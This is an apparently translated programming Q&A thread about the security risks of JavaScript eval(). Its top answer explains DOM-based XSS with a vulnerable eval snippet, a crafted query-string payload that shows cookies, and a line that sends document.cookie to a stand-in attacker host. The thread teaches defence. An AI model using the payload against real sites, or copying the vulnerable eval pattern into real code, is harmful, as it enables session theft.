【问题标题】:javascript eval() and securityjavascript eval() 和安全性
【发布时间】:2016-12-27 18:17:46
【问题描述】:

developer.mozilla.org 说:

不要不必要地使用 eval ! eval() 是一个危险的函数,它 以调用者的权限执行它传递的代码。

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

例如,任何恶意用户都可以打开 chrome 调试器,并修改正在执行的 javascript 代码。这样他就可以把自己的功能执行等等。

一般来说有没有“安全的javascript代码”之类的东西?

【问题讨论】:

  • 不。一切都和其他一切一样安全,这对于周围的所有调试工具来说基本上是不安全的。就个人而言(而且我可能会因为这样说而被踢到牙齿上,但是......)我并不害怕 eval(或 Function)。
  • 任何恶意用户都可以打开控制台并修改他们自己的代码版本,因此不会影响其他任何人。如果你不顾一切地使用eval,那么恶意代码可以在任何用户的计算机上运行。
  • 对我来说,它是一个工具。只是不要使用用户给你的任何纯文本,你可以使用 eval 就好了。但这适用于任何事情,任何语言。用户可以将奇怪的东西放入表单并提交。来自用户的任何东西都必须在使用前进行消毒,否则会受到 XSS 攻击。
  • 不要忘记 eval 的高性能成本。在代码中使用 eval 会阻止浏览器引擎对代码进行任何优化,从而影响整个页面的速度。
  • @AhmadBamieh:是的。不适合游戏循环。 ;P

标签: javascript security eval


【解决方案1】:

例如,任何恶意用户都可以打开 chrome 调试器,并修改 正在执行的 javascript 代码。所以他可以把自己的 要执行的功能等。

是的,用户可以通过开发者工具使用 JavaScript “攻击”他们自己的客户端会话。

然而,eval 和开发者工具之间的区别在于 eval 可以在可共享的链接中执行事情。攻击者可以向受害者发送一个链接,该链接利用代码评估功能。

获取此代码:

<script>

eval('alert("Your query string was ' + unescape(document.location.search) + '");');

</script>

现在,如果查询字符串是 ?foo,您只需得到一个警告对话框,说明以下内容:Your query string was ?foo

现在假设 Chuck 向 Bob 发送了一封主题为“看看这个很棒的链接!”的电子邮件。

链接构造如下:

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中 www.example.com 是您的网站。

这会将eval()执行的代码修改为

alert("Your query string was hello");
alert(document.cookie+"");

(为清楚起见,我添加了新行)。这将显示一个警告框,显示所有非 httpOnly cookie。

将其带到下一个阶段,攻击者可以构建图像链接以将会话 cookie 发送给自己

new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

这被称为Cross-Site Scripting (XSS) 攻击。实际上,该类型是一个基于 DOM 的 XSS,具体来说。

一般来说有没有“安全的javascript代码”之类的东西?

是的,对 XSS 安全的代码可以被认为是“安全的 JavaScript 代码”——它可以保护当前用户免受跨域攻击。但是,“信任”当前最终用户不会使用开发人员工具修改 JavaScript 代码或变量以获取自身优势的服务器端代码虽然不安全。

因此,安全的 JavaScript 代码是只保护当前用户的代码。

【讨论】:

    【解决方案2】:

    是的,当然有安全的 JavaScript。您始终可以在浏览器中修改 JavaScript,与您可以修改的方式相同,例如在您的机器上运行的 python 程序。

    能够改变您自己机器上的代码工作方式是微不足道的,并且不会立即成为安全问题。

    Eval() 经常被认为是有问题的,因为它倾向于使用用户生成的输入来执行(我认为真正的用例不是这样的情况很少)。 @SilverlightFox 在他的出色回答中解释了为什么这可能是一个问题。这一切都归结为 eval() 可能被利用在其他人的机器上运行您的代码这一事实,这是一个安全问题。

    请注意,这不仅仅特定于 JavaScript,大多数语言都有类似命名的函数来做同样的事情。这些函数带有类似的警告。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2023-03-13
      • 1970-01-01
      • 2011-06-16
      • 1970-01-01
      • 1970-01-01
      • 2018-12-31
      • 1970-01-01
      相关资源
      最近更新 更多